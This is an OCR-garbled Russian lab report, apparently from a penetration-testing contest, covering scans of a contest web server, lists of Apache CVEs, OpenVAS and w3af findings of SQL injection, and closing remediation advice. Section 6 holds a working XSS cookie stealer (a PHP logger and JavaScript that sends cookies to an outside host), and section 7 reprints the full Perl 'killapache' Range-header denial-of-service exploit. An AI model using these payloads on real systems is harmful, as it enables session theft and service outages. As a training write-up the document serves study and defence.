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1. CKaHI/lpOBaHI/le CE€TEBLIX MMOPTOB CETEBOI0 y3/1a C IOMOIIIBIO CKAHEPA CETH.

(= Zenmap. s

CKaHWpoBaHWe WIHCTpyMeHTsl [Mpodunek lMomouis

Uens | contest.npo-echelon.ru v | Mpoduns v | | CkaHmposahue

Komanga |nmap -sV -p 1-65535 T4 -O -A -v contest.npo-echelon.ru

XocTsl | Cepsucs | Bbisoa NMap MopTsl [ XocTel TONoNorvs [eTani xocTa  CKaHWpoBaHue
oc. Ixoer nmap -sV -p 1-65535 -T4 -0 -A -v contest.npo-echelon.ru v Aetann
L contestnpo-ec Nmap scan report for contest.npo-echelon.ru (188.127.228.14) =

Host is up (0.0061s latency).

Mot shown: 65532 filtered ports

PORT  STATE SERVICE VERSION

21/tcp open ftp?

| _ftp-bounce: no banner

22/tcp open ssh OpenSSH 5.5p1 Debian 6 (protocoel 2.0)

| ssh-hostkey: 1024 08:62:f1:c4:77:d

| _2048 cf:54:d0:99:da:5b:5d:95:c0:88:84:37:d2:d9:80:

80/tcp open http Apache httpd 2.2.16 ((pebian))

| _http-title: \xDD\xF8\XES\XEB\XEE\XED\XE8\XFO\XEE\XE2\XEQ\XxED\XED\XEO\XFF \XEE

\XE1\XEE\XFO\XEE\XED\XEO 2012

| _http-methods: GET HEAD POST OPTIONS

| _http-favicon: Unknown favicon MDS: 2DE296ADOCB13AS1SDE44437DG4EESAA

Warning: 0SScan results may be unreliable because we could not find at least 1

open and 1 closed port

Device type: general purpose

Running (JUST GUESSING): QEMU (90%)

0S CPE: cpe:/o:qemu:qemuy

Aggressive 0S guesses: QEMU user mode network gateway (90%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

ICP Sequence Prediction: Difficulty=17 (Good luck!)

IP ID Sequence Generation: Incremental

Service Info: 0S: Linux; CPE: cpe:/o:linux:kernel

TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS

3. s

2 2.03 ms 188.127.228.14

NSE: Script Post-scanning.

Initiating NSE at 10:09

Completed NSE at 10:09, 0.00s elapsed

Read data files from: /usr/bin/../share/nmap

0S and Service detection performed. Please report any incorrect results at
» http://nmap.org/subm .

Mmap done: 1 IP address (1 host up) scanned in 3246.96 seconds -

TakuMm 06pa3oM ModydaeM CIUCOK OTKPBITHIX TOPTOB:
21- ftp
22 — OpenSSH 5.5p1 Debian 6 (protocol 2.0)
80 — Apache httpd 2.2.16
2. OnpenenuTh BepcHI0 Bed-cepBepa ¢ MOMOIIbI0 yTHJIMTHI telnet

Apache 2.2.16

net contest.npo-echelon.ru 8@

lon. ru.

PUBLIC "-//IETF//D HTML 2
d>
Method Not Im </title>

rted.<br

.ru Port 80</ad

foreign ho




3. CocTaBuTbH NepeyeHb ySI3BUMOCTEMH, XapaKTePHbIX /ISl 1aHHOI Bepcuu Bed-cepBepa,
HCHOJIb3Ysl 0011e0CTYIIHYI0 MH(OpPMaLMIO.

Apache 2.2.16

VA3BUMOCTD Omncanue

CVE-2011-3607 | Ilo3BouisieT JOKaJIbHOMY MOJIb30BATENIO YBEIHMYUTh CBOU TIpaBa B CUCTEME.

CVE-2012-0031 | Ilo3BoJisieT JOKaJIbHOMY MOJIB30BATENIO MPOM3BECTH «OTKA3 B O0CIYKHUBAHUMY.

CVE-2011-4317 | Ilo3BosieT 3MOYMBIIUIEHHUKY (YIaI€HHO) OTIIPABUTH 3aIIPOC Ha CEPBEPHI
BHYTPEHHHH CETH.

CVE-2012-0053 | IMo3Bomsier 3nmoymbinuieHHUKY noiayunts HTTPONly cockies npu nomorun
crienuanbHo chopMupoBaHHOro Web-ckpumnra.

CVE-2011-3368 | Ilo3BomsieT 3M0yMBIIUIEHHUKY (YIaI€HHO) OTIIPABUTH 3aIPOC Ha CEPBEPHI
BHYTPEHHHH CETH.

CVE-2011-3348 | Ilo3BousieT 3M0YMBIIUICHHUKY (yalIeHHO) BBI3BaTh OTKa3 B 00CITy>KHBAaHUH
(BpemenHoe "cocTosiHUE OMHOKK" BO BHYTPEHHEM CEPBEPE) Uepe3 HEMPaBUILHO
cthopmupoBaHHBIN http-3ampoc.

CVE-2011-3192 | Ilo3BomsieT 3MOYMBIIUIEHHUKY (yJAI€HHO) BBI3BAaTh OTKA3 B 00CTYKUBaHHUH
(mamsTH U polieccopa) uepe3 Range-3arooBok, KOTOPbI BbIpaKaeT
HECKOJIBKHX IEPEKPBIBAIOIINXCS AUANa30HOB.

CVE-2011-0419 | Ilo3BomsieT KOHTEKCTHO-3aBUCMIMOMY aTaKYIOIIEMY BBI3BATh OTKa3 B
obcnykuBarnn (CPU u mamsaTi) uepe3 MOCIeA0BaTEIBHOCTD «*?» B IEPBOM
apryMeHTe, Kak rmokasaiu HanajaeHus Ha mod_autoindex 8 HTTPD.

CVE-2009-3720 | ITo3BomsieT KOHTEKCTHO-3aBUCMIMOMY aTaKYIOIIEMY BBI3BATh OTKa3 B
00CITy)KMBaHUH («I1AICHUE) TPHIOKEHHUS) C TIOMOLIBIO CIEHAIBHO CO3IaHHOTO
XML-nokymenTa ¢ HenpaBuisHOH UTF-8 mocnemoBatenbHOCTBIO, KOTOpast
BBI3BIBACT TIEperojiHeHue Oydepa.

CVE-2009-3560 | ITo3BomsieT KOHTEKCTHO-3aBUCMIMOMY aTaKYIOIIEMY BBI3BATh OTKa3 B
00CITy)KMBaHUH («I1AICHUE) TPHIOKEHUS) C TIOMOLIBIO CIELHAIBHO CO31aHHOTO
XML-nokymenTa ¢ HenpaBuisHOH UTF-8 mocnemoBatenbHOCTBIO, KOTOpast
BBI3BIBACT IepernonHenue Oydepa. Ys3sumocts cBsi3ana ¢ doProlog ¢pyuxkuumeit
6ubnmmorexu / Xmlparse.c.

CVE-2010-1623 | Ilo3BousieT 3M0YMBIIUICHHUKY (yIaJI€HHO) BBI3BaTh OTKa3 B 00CITy)KHBAaHUH
(moTpebieHre MaMsATH) MOCPEICTBOM HEOIPEISICHHOTO BEKTOPA, C IIEJIbI0
yanutoxenns ARP-Bucket.

4. TlpoBecTH CKAHMPOBAHUE HA HAJMYHUE YA3BUMOCTEH ¢ MOMOIIbI0 CKaHEPa-0€30MaCHOCTH.
OTuer ckaHepa 06e30MACHOCTH

ysI3BUMOCTH Oe3omnacHocTH y3na 188.127.228.14

ftp (21/tcp)

Cpennuii (CVSS: 4.0)

NVT: FileZilla Server Port Command Denial of Service (OID: 1.3.6.1.4.1.25623.1.0.102019)
Add Note

Add Override

Overview:

FileZilla Server before 0.9.22 allows remote attackers to
cause a denial of service (crash) via a wildcard argument
to the (1) LIST or (2) NLST commands, which results in a
NULL pointer dereference, a different set of vectors than


http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3607
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0031
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-4317
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0053
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3368
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3348
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0419
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3720
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3560
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1623

CVE-2006-6564.

NOTE: CVE analysis suggests that the problem might be due
to a malformed PORT command.

Solution:

Upgrade vulnerable FTP server to latest version.

References:

http://osvdb.org/34435

Plugin output:

OpenVAS was able to crash the remote FTP server by sending

a malformed PASV command.

CVE : CVE-2006-6565

BID : 21542, 21549

general/tcp

Cpennuit

NVT: Source routed packets (OID: 1.3.6.1.4.1.25623.1.0.11834)
Add Note

Add Override

The remote host accepts loose source routed IP packets.

The feature was designed for testing purpose.

An attacker may use it to circumvent poorly designed IP filtering
and exploit another flaw. However, it is not dangerous by itself.
Solution : drop source routed packets on this host or on other ingress
routers or firewalls.

http (80/tcp)

Cpennmuii (CVSS: 4.3)

NVT: Va3BumocTs packpbitus nHpopmanuu B 3aronoBke ETag B Apache Web Server (OID:
1.3.6.1.4.1.25623.1.0.103122)

Add Note

Add Override

00630p:

Vs3BuUMOCTh ObLTa OOHapyXeHa B BeO-cepBepax Apache,

HACTPOEHHBIX Ha ucnoibs3oBanue nupektussl FileETag. 13-3a cnoco0a, KOTOpbIM

Apache renepupyer 3aronoBku otBeta ETag, y 3710yMblIIJIEHHUKA TOSIBIISIETCS BO3MOXKHOCTh
MOJIYYUTh AOCTYI K KOH(UIEeHIIMaIbHON HH(pOpMaluu o Qaiiiax Ha cepBepe.

B vactHocTH, nons 3aronoBka ETag, BeBo3BpallleHHbIE KIUEHTY, COAEpKaT

HOMEp JieckpunTopa ¢aiina.

OKcIuTyaTanus 3Toi ysI3BUMOCTH MOXKET IPEAOCTaBUTh 3J0YMBIIUIEHHUKY HH(OPMAIIHIO,
KOTOpast MOXKET OBITh MCIIOJIb30BaHa /Il OCYIIECTBICHHS HOBBIX aTaK MPOTUB IEJIEBOM CETH.
OpenBSD BeimycTHiia mat4, KOTOpBIM pemaer 3Ty mnpoOiemy. Homepa neckpunTopos,
BO3BpalllaeMble

13 cepBepa Tenepb KOAUPYETCS C TTOMOIIBIO MPUBATHOTO XJI11a, YTOOBI N30€XKaTh

yTeuKy KOHPUACHINATbHOU HH(OpMaIIUK.

Pemenne:



OpenBSD BrinmycTuia maTd Jy1si pemeHus 3TOi mpoOJIeMBbl.

Novell Beimyctuna TID10090670, yToOBI MPEATIOKHUTH MOIB30BATEISIM IPUMEHUTH JOCTYITHBIN
00XOIHOM MyTh OTKIIIOYCHHUS AUPEKTHUBHI B (paiiyie KOHPUTYpaIHH I PETH30B
Apache on NetWare. [Toxaiyiicta, cM. mpuiaraeMblii TEXHHYECKUAN
WndopmanoHHbII TOKYMEHT ISl BBIACHEHHSI JaJIbHEHIINX MOApOOHOCTEH.
CrnpaBounas uHbopManusi:

https://www.securityfocus.com/bid/6939
http://httpd.apache.org/docs/mod/core.html#fileetag
http://www.openbsd.org/errata32.html
http://support.novell.com/docs/Tids/Solutions/10090670.html

Information that was gathered:

Inode: 107155

Size: 1340

CVE : CVE-2003-1418

BID : 6939

5. TIpoBectn ananu3 3amumennocTn \WWeb-npuiioskenus ¢ nomomsbio ¢ppeiimBoka w3af
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Oruer w3af:

Type Port Issue

Vulnerability tcp/80 SQL injection in a MySQL database was found at: "http://contest.npo-
echelon.ru/admin/authors.php”, using HTTP method GET. The sent data was:
"id=d%27z%220". This vulnerability was found in the request with id 748.

URL : http://contest.npo-echelon.ru/admin/authors.php
Severity : High

Vulnerability tcp/80 An unidentified vulnerability was found at: "http://contest.npo-
echelon.ru/admin/authors.php”, using HTTP method GET. The sent data was:
"id=". This vulnerability was found in the requests with ids 967 to 968 and 970.
URL : http://contest.npo-echelon.ru/admin/authors.php
Severity : Medium

Vulnerability tcp/80 An unidentified vulnerability was found at: "http://contest.npo-echelon.ru/", using
HTTP method GET. The sent data was:



Vulnerability

Vulnerability

Vulnerability

Vulnerability

Vulnerability

Vulnerability

Vulnerability

tcp/80

tcp/80

tcp/80

tcp/80

tcp/80

tcp/80

tcp/80

"view=0d%27kc%222%279j%27%22%2A%2A5%2A%28%28%28%3B-
%2A%60%29". This vulnerability was found in the requests with ids 1016 to
1017 and 1019.

URL : http://contest.npo-echelon.ru/
Severity : Medium

An unidentified vulnerability was found at: "http://contest.npo-
echelon.ru/admin/results.php”, using HT TP method POST. The sent post-data
was: "Submit=Submit&dong=d'kc"z'gj"'%2A%2A5%2A(((%3B-%2A%60)".
This vulnerability was found in the requests with ids 1055 to 1057.

URL : http://contest.npo-echelon.ru/admin/results.php
Severity : Medium

An unidentified vulnerability was found at: "http://contest.npo-echelon.ru/", using
HTTP method GET. The sent data was:
"mode=d%27kc%222%279j%27%22%2A%2A5%2A%28%28%28%3B-
%2A%60%29". This vulnerability was found in the requests with ids 1086 to
1087 and 1089.

URL : http://contest.npo-echelon.ru/
Severity : Medium

Blind SQL injection was found at: "http://contest.npo-
echelon.ru/admin/vidpage.php"”, using HTTP method GET. The injectable
parameter is: "id". This vulnerability was found in the requests with ids 5826 to
5827.

URL : http://contest.npo-echelon.ru/admin/vidpage.php

Severity : High

Blind SQL injection was found at: "http://contest.npo-
echelon.ru/admin/newspage.php", using HTTP method GET. The injectable
parameter is: "id". This vulnerability was found in the requests with ids 5833 to
5834.

URL : http://contest.npo-echelon.ru/admin/newspage.php

Severity : High

Blind SQL injection was found at: "http://contest.npo-
echelon.ru/admin/vidpage.php"”, using HTTP method GET. The injectable
parameter is: "id". This vulnerability was found in the requests with ids 5840 to
5841.

URL : http://contest.npo-echelon.ru/admin/vidpage.php

Severity : High

Blind SQL injection was found at: "http://contest.npo-
echelon.ru/admin/newspage.php", using HTTP method GET. The injectable
parameter is: "id". This vulnerability was found in the requests with ids 5847 to
5848.

URL : http://contest.npo-echelon.ru/admin/newspage.php

Severity : High

Blind SQL injection was found at: "http://contest.npo-
echelon.ru/admin/newspage.php", using HTTP method GET. The injectable
parameter is: "id". This vulnerability was found in the requests with ids 5854 to
5855.

URL : http://contest.npo-echelon.ru/admin/newspage.php



Vulnerability

Vulnerability

Vulnerability

Vulnerability

Vulnerability

Vulnerability

Vulnerability

Vulnerability

tcp/80

tcp/80

tcp/80

tcp/80

tcp/80

tcp/80

tcp/80

tcp/80

Severity : High

Blind SQL injection was found at: "http://contest.npo-
echelon.ru/admin/newspage.php", using HTTP method GET. The injectable
parameter is: "id". This vulnerability was found in the requests with ids 5861 to
5862.

URL : http://contest.npo-echelon.ru/admin/newspage.php

Severity : High

Blind SQL injection was found at: "http://contest.npo-
echelon.ru/admin/vidpage.php"”, using HTTP method GET. The injectable
parameter is: "id". This vulnerability was found in the requests with ids 5868 to
5869.

URL : http://contest.npo-echelon.ru/admin/vidpage.php

Severity : High

Blind SQL injection was found at: "http://contest.npo-
echelon.ru/admin/ddlpage.php”, using HTTP method GET. The injectable
parameter is: "id". This vulnerability was found in the requests with ids 5875 to
5876.

URL : http://contest.npo-echelon.ru/admin/ddIpage.php

Severity : High

Blind SQL injection was found at: "http://contest.npo-
echelon.ru/admin/artpage.php", using HTTP method GET. The injectable
parameter is: "id". This vulnerability was found in the requests with ids 5990 to
5991.

URL : http://contest.npo-echelon.ru/admin/artpage.php
Severity : High

Blind SQL injection was found at: "http://contest.npo-
echelon.ru/admin/artpage.php", using HTTP method GET. The injectable
parameter is: "id". This vulnerability was found in the requests with ids 5997 to
5998.

URL : http://contest.npo-echelon.ru/admin/artpage.php
Severity : High

Blind SQL injection was found at: "http://contest.npo-
echelon.ru/admin/artpage.php”, using HTTP method GET. The injectable
parameter is: "id". This vulnerability was found in the requests with ids 6004 to
6005.

URL : http://contest.npo-echelon.ru/admin/artpage.php

Severity : High

Blind SQL injection was found at: "http://contest.npo-
echelon.ru/admin/artpage.php”, using HTTP method GET. The injectable
parameter is: "id". This vulnerability was found in the requests with ids 6011 to
6012.

URL : http://contest.npo-echelon.ru/admin/artpage.php

Severity : High

Blind SQL injection was found at: "http://contest.npo-
echelon.ru/admin/artpage.php”, using HTTP method GET. The injectable

parameter is: "id". This vulnerability was found in the requests with ids 6018 to
6019.



Vulnerability

Vulnerability

Vulnerability

Vulnerability

Vulnerability

Vulnerability

Vulnerability

tcp/80

tcp/80

tcp/80

tcp/80

tcp/80

tcp/80

tcp/80

URL : http://contest.npo-echelon.ru/admin/artpage.php

Severity : High

Blind SQL injection was found at: "http://contest.npo-
echelon.ru/admin/vidpage.php"”, using HTTP method GET. The injectable
parameter is: "id". This vulnerability was found in the requests with ids 6079 to
6080.

URL : http://contest.npo-echelon.ru/admin/vidpage.php

Severity : High

Blind SQL injection was found at: "http://contest.npo-
echelon.ru/admin/vidpage.php"”, using HTTP method GET. The injectable
parameter is: "id". This vulnerability was found in the requests with ids 6086 to
6087.

URL : http://contest.npo-echelon.ru/admin/vidpage.php

Severity : High

Blind SQL injection was found at: "http://contest.npo-
echelon.ru/admin/ddlpage.php”, using HTTP method GET. The injectable
parameter is: "id". This vulnerability was found in the requests with ids 6147 to
6148.

URL : http://contest.npo-echelon.ru/admin/ddIpage.php

Severity : High

Blind SQL injection was found at: "http://contest.npo-
echelon.ru/admin/ddlpage.php"”, using HTTP method GET. The injectable
parameter is: "id". This vulnerability was found in the requests with ids 6154 to
6155.

URL : http://contest.npo-echelon.ru/admin/ddlIpage.php

Severity : High

Blind SQL injection was found at: "http://contest.npo-
echelon.ru/admin/ddlpage.php”, using HTTP method GET. The injectable
parameter is: "id". This vulnerability was found in the requests with ids 6161 to
6162.

URL : http://contest.npo-echelon.ru/admin/ddipage.php

Severity : High

Blind SQL injection was found at: "http://contest.npo-
echelon.ru/admin/ddlpage.php"”, using HTTP method GET. The injectable
parameter is: "id". This vulnerability was found in the requests with ids 6168 to
6169.

URL : http://contest.npo-echelon.ru/admin/ddIpage.php

Severity : High

Blind SQL injection was found at: "http://contest.npo-
echelon.ru/admin/newspage.php", using HTTP method GET. The injectable
parameter is: "id". This vulnerability was found in the requests with ids 6229 to
6230.

URL : http://contest.npo-echelon.ru/admin/newspage.php
Severity : High



6 .IIpoaeMOHCTPHPOBATH IKCILIYaTAIIMI0, KAK MUHHUMYM O/THO# M3 00HAPYKEHHbIX
yazBuMocTeii kiaacca CSS/XSS

Ha crpanume  http://contest.npo-echelon.ru/admin/authors.php  obHapyxeHa  ysS3BUMOCTS,
no3BoJisiromnias nposectu SQL-Injection,a Taxke BHEAPUTH CKPUIT, HAPUMEP, TOXHUIaronmii Cookies.

Jlaee Ha CTOpOHHEM caiiTe aemaeM java wu Php ckpunt(T.K. CyAs MO BCEMY CYIIECTBYET
OTpaHMYCHUE HA JUTUHY M JUIMHHBINA 3aIIPOC HE MMPOXOJIUT)

daitn cookie.php

<?php
$cookies =$ GET['cookieT;
if (lempty($cookies)) {
$fp = fopen("cookies.txt", "a"); // OtkpsiBacm (aiin
$test = fwrite($fp, $cookies . “\r\n"); // 3anuceiBaeM Kyku
fclose($1fp); //3akpeiBaem aiin
}
7>
daiin my.js
document.write("<STYLE>@import'http://xxx.ru/cookies.php?cookie=");
document.write(document.cookie);
document.write("</STYLE>");
[anee BcTpanBaeM 3ampoc BUAA:
http://contest.npo-echelon.ru/admin/authors.php?id="; <script src="http://xxx.ru/my.js"></script>

B pesynbrare nonydaem B (aiine COOKies.tXt — «kykm» yeoBeka, IpOCMOTPEBIIETO 3Ty CTPAHUILY.
7.JIpoaeMOHCTPUPOBATD IKCILNIYATALMIO OHOM U3 BbISABJICHHBIX YA3BUMOCTEIl.

B Apache 1o Bepcun 2.2.19 prcyTCTBYeT yS3BUMOCTb, TI03BOJIsIFOIIast ipoBecT DOS-araky.
Hmxe npencrasieH Koa skciuionTa Ha perl’e. Ataky mpoBOAMTH HE CTal, Tak Kak BeO-cepBep
HEOOXOJUM U APYTUM YHACTHUKAM JJIs1 BBITOIIHEHUS 6-TO 3a1aHusl.

#Apache httpd Remote Denial of Service (memory exhaustion)
#By Kingcope
#Year 2011
#
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.
#
use 10::Socket;
use Parallel::ForkManager;
sub usage {
print "Apache Remote Denial of Service (memory exhaustion)\n™;
print "by Kingcope\n";
print "usage: perl killapache.pl <host> [numforks]\n";
print "example: perl killapache.pl www.example.com 50\n";

}

sub killapache {

print "ATTACKING $ARGV[0] [using $numforks forks]\n";
$pm = new Parallel::ForkManager($numforks);

$1=1;


http://contest.npo-echelon.ru/admin/authors.php

srand(time());

$p = llll;

for ($k=0;$k<1300;$k++) {
$p .= ",5-8K";

}
for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next;
$x=""
my $sock = 10::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort =>"80",
Proto =>'tcp’);
$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding:
gzip\r\nConnection: close\r\in\r\n™;
print $sock $p;
while(<$sock>) {
}
$pm->finish;
}
$pm->wait_all_children;
print ":pPpPpppPpPPppPpppPp\n™;
¥
sub testapache {
my $sock = 10::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort =>"80",
Proto =>'tcp);

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding:
gzip\r\nConnection: close\r\in\r\n™;
print $sock $p;
$x = <$sock>;
if ($x =~ /Partial/) {

print "host seems vuln\n™;

return 1;
}else {

return O;
}
}
if ($#ARGV <0) {

usage;

exit;

}

if ($#ARGV > 1) {
$numforks = $ARGV[1];

} else {$numforks = 50;}

$v = testapache();

if (Bv==0){
print "Host does not seem vulnerable\n";
exit;

}

while(1) {

killapache();

}



PexoMeHIaMM 10 YCTPAHEHHUIO YSI3BUMOCTeIi:
1. Bopwoba ¢ XSS

s Toro, 4yToOBl 00e30macuTh cedsl OT JAHHOTO THUIA aTak - HeOOXOIuMO (WIBTPOBATH BCE
JaHHbIe, BBOJWMBIC TOJH30BATEISIMH Ha MpPEIMET BO3MOXKHBIX CKPHITOB. J[aHHBIE CKPHUITBHI MOTYT
HaXOAWTHCA Kak B html 1Torax, tak u B ux arpubyrtax suma OnClick u ap. B cnyuae ¢ BBcode, ecnu nx
00paboTKa MPOBOIUTCA HEKOPPEKTHO - TaK € BO3MOXXHO J00aBJICHHE CKPHUITOB aHAJOTHYHBIM
cnoco6oM. B wactHocTH ysa3BuMocts XSS B BBcode Obu1a oOHapyskeHa B 0JJHOM U3 Bepcuil POpyMHOTO
JIBIDKKA SMF.
Tak ke cieqyeT nepKaTh Ha KOHTPOJIE OCTaJbHbBIC JaHHBIE, MOCTYMAIOMIME B CKpUNT M3BHE. Hampumep
cepBuC “mouTa.py”’ OBLI B CBOE BpeMs B3JIOMaH 3a CYET TOTO, YTO Ha HEM ObLT HeoOpadaThIBa€MBbIii BEIBO/T
JIAHHBIX, TocTynarmux B ckpunt u3 GET 3ampoca. 310yMBINUICHHUKHA BHEJPSUIA B KAYECTBE OJTHOTO U3
napamMeTpoB 3ampoca (UIIMHTOBBIA CKPUNT UM OTHPABISUIA MOJIYYEHHYIO CCBUIKY —Ppa3iHYHBIM
noJb30BaTeNsiM. Eciii  Tonb30BaTenh MEPEeXOAMI IO 3TOW CChUIKE, ero cookies OTIMpaBIsUTUCH
3IIOYMBIIIICHHUKY U OH ITOYYall TOCTYI K TIOYTOBOMY SIIUKY.

Mertoaom 3amutel oT CSRF aTtak ciyKUT MeXxaHW3M, KOTZla CalThl TPeOYIOT MOATBEPKACHUS
OompIIero Komu4ecTBa JeHCTBUI monb3oBaTens U BexyT npoBepky nonss HTTP REFERER, ecnmm ono
ecTb B 3ampoce.
Eme oauH cmoco0 3ammThl - accONMUpPOBATh C CECCHEH KI0Y, KOTOpBIA OyIeT mepenaBaThbest
nocpenctsoM POST-3anpocoB W HpOBEPATHCS CEPBEPOM, BO BpeMsl KaKIOTO TAKOIro 3ampoca. ITo
caemaeT Oecmoyie3Hoi Kpaxy cookies (uHpopmanus Oyner Oecrofie3Ha 0€3 JaHHOTO KIIO4A).
Memoowi 0OHapyHCeHUs
Jns oOHapyXeHusl JaHHOH YSI3BUMOCTH MOKHO HPOAaHANHM3UPOBATh (PUIBTPALMIO AAaHHBIX, BBOJUMBIX
MOJIb30BaTENsAMH. Tak ke MOXKHO MoIpodoBarh no6aButh ckpunt (Hampumep alert(‘Ups’);) Ha cTpaHuIly
BCEMH BO3MOXHBIMHU crioco0amMu. B ciydae ycmexa — ucnpaBuTh (QUIBTPHI, OTBEYANONINE 32 00padOTKy
JAHHBIX COIEPKALIUX CKPUIT.

2. YSA3BHMOCTH B CETEBBIX cepBuUcCax.

Od4eBUIIHO, YTO TIEPBBIM CPEJCTBOM 3alIUTBI OT CETEBBIX aTaK SIBJISETCS TIPaMOTHO
HACTPOCHHBII MEXKCETEeBOM 3KpaH, PUIBTPYIOLINI COSAMHEHHUS ¢ TAKUMH cepBrcaMu, Kak telnet, ssh, ftp (
XOTsl 324aCTYI0 MOXKHO «IIPOJIOKHTBY» VPN-TYHHENb U TPOM3BOIUTH BHEIIHIOW (uibTpario). Camo
co00ii HEOOXOIUMO 3aKpPBIBATH MOPTHI CIIYKO, B3aUMOJIEHCTBHE C KOTOPHIMH HE TPEIYCMOTPEHO ISt
BHEILIHETO MOJIb30BATEIS.

Takke, MOBONBHO JEWCTBEHHBIM METOJOM 3allUThI (MO KpaifHEll Mepe OT MPOCTOro
CKaHWPOBaHUs1) OyeT SBISATHCS MOJENKa OaHHEPOM CEPBHUCOB. ECl MOTEHIIMANBHBIN 3710yMBITIIIEHHUK
HE MOXET ONPEIEIUTh , 4TO 32 CEPBUC Mepe]l HUM, TO UCKATh YSI3BUMOCTH €My OyJIeT TOpa3Jio CIOXKHEe.

Huxorna Henp3s 3a0biBaTh O NPOBEPKM OOHOBJICHUH CYIIECTBYIOIIETO MPOrPaMMHOIO
oOecrieveHus; ySI3BUMOCTH HAaXOIAT TOCTOSIHHO, Jla M 4YHCJa JKENAIoNMX HMX JKCIUTyaTHpOBaTh He
ymenbmaetcs. lloaToMy onmHOW W3 BaXHBIX 3a7ad aJMHHHCTPATOpa CBOEBPEMEHHO CIIEAWTH 3a
OOHOBJICHUSIMM M BO3HHUKAIOIIMMH YS3BHMOCTSIMH, Ja0bl MTHOBEHHO JIOKQIM30BaTh HAaJIBUTAIOLIYIOCS

yrposy.
3. ¥Yrpo3a JOKaJbHOH yTeYkH HH(OpMALMH.

[ToMrMO BHENIHMX YIrpo3, CYIIECTBYIOT M BHyTpeHHHE. [lodTomy, eciu wuHpOpManus
JIOCTATOYHO JIOPOTOCTOSIIAs UMEET CMbIC ucnoib3oBatk IPC- Texnomoruun (Information Protection and
Control). OcHOBHbIE TEXHHYECKHE KaHAJIbI yTEUKH HH(POPMAIMK : KOPIIOPATHBHAS JJIEKTPOHHAS M0YTa,
BEO-1104Ta, COLMAIBHBIC CETH M OJOTH, (ailliooOMEeHHbIE ceTH,POPYMBI U JPyrHe MHTEPHET-PECYPChI, B


http://ru.wikipedia.org/wiki/%D0%A1%D0%BE%D1%86%D0%B8%D0%B0%D0%BB%D1%8C%D0%BD%D0%B0%D1%8F_%D1%81%D0%B5%D1%82%D1%8C

TOM dYHCJjIe BhIMoNHEHHbIE Ha AJAX-TEXHOIOTHH, CPeaCTBa MIHOBEHHOTO o6MeHa coobmenusmu (1CQ,
Mail.Ru Arent, Skype, AOL AIM, Google Talk, Yahoo Messenger, MSN Messenger u mpodee),p2p-
KineHThLnepudepuitnsie yerpoiictea (USB, LPT, COM, WiFi, Bluetooth u npouee),1oxanbueie u
CEeTeBbIC IPUHTEPHI.

Texnonorus IPC Brirouaer B ceOs BO3SMOKHOCTU MO MIM(POBAHHIO MHPOPMAIMM Ha BCEX
KITFOUEBBIX TOUKax ceTu. TexHonoruu IPC HCronb3yroT pasnudHblie TOAKII0YaeMbie KPUIITOrpaduIecKue
MOIyJH, B TOM uuciie Haubojee ¢ dextuapie anroputMmbl DES, Triple DES, RCS5, RC6, AES, XTS-
AES. Haubounee ucnonszyembiMu anroputmamu B IPC-perrenusix sensitoress RC5 u AES. Onu Hanbosee
3¢ PeKTUBHBI IS pemieHus 3anav MuGpPOBaHUS JaHHBIX OOJNBIIHX OO0OBEMOB JTAaHHBIX Ha CEPBEPHBIX
XpaHWIUIAX ¥ pe3epBHBIX kKonusax. B pemenusix [PC momnepikuBaeTcs MHTErpamnusi ¢ POCCHUCKUM
amroputmoM  ['OCT  28147-89, dro mo3BONsSET NpPUMEHATh, Monynei mudpoanus I[PC B
TOCYJapCTBEHHBIX OpraHU3aIHAX

Mertonsl  nmeTekTHpoBaHMS KOH(puIeHIMansHOW wH(popMarnuu: CurHatypsl, «L{udpossie
otreyatkuy «MeTKn.

B manHOM ciiydae BechMa JOTHYHO HCIONb30BaHUs DLP-cuctem (Gmaro pelHOK MMH HBIHYE
JTIOBOJIbHO-TAKH HACHIIIEH )
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http://ru.wikipedia.org/wiki/%D0%A1%D1%80%D0%B5%D0%B4%D1%81%D1%82%D0%B2%D0%BE_%D0%BC%D0%B3%D0%BD%D0%BE%D0%B2%D0%B5%D0%BD%D0%BD%D0%BE%D0%B3%D0%BE_%D0%BE%D0%B1%D0%BC%D0%B5%D0%BD%D0%B0_%D1%81%D0%BE%D0%BE%D0%B1%D1%89%D0%B5%D0%BD%D0%B8%D1%8F%D0%BC%D0%B8
http://ru.wikipedia.org/wiki/ICQ
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http://ru.wikipedia.org/wiki/Skype
http://ru.wikipedia.org/wiki/Google_Talk
http://ru.wikipedia.org/wiki/MSN_Messenger
http://ru.wikipedia.org/wiki/P2p
http://ru.wikipedia.org/wiki/P2p
http://ru.wikipedia.org/wiki/Bluetooth
http://ru.wikipedia.org/w/index.php?title=XTS-AES&action=edit&redlink=1
http://ru.wikipedia.org/w/index.php?title=XTS-AES&action=edit&redlink=1
http://ru.wikipedia.org/wiki/RC5
http://ru.wikipedia.org/wiki/Advanced_Encryption_Standard
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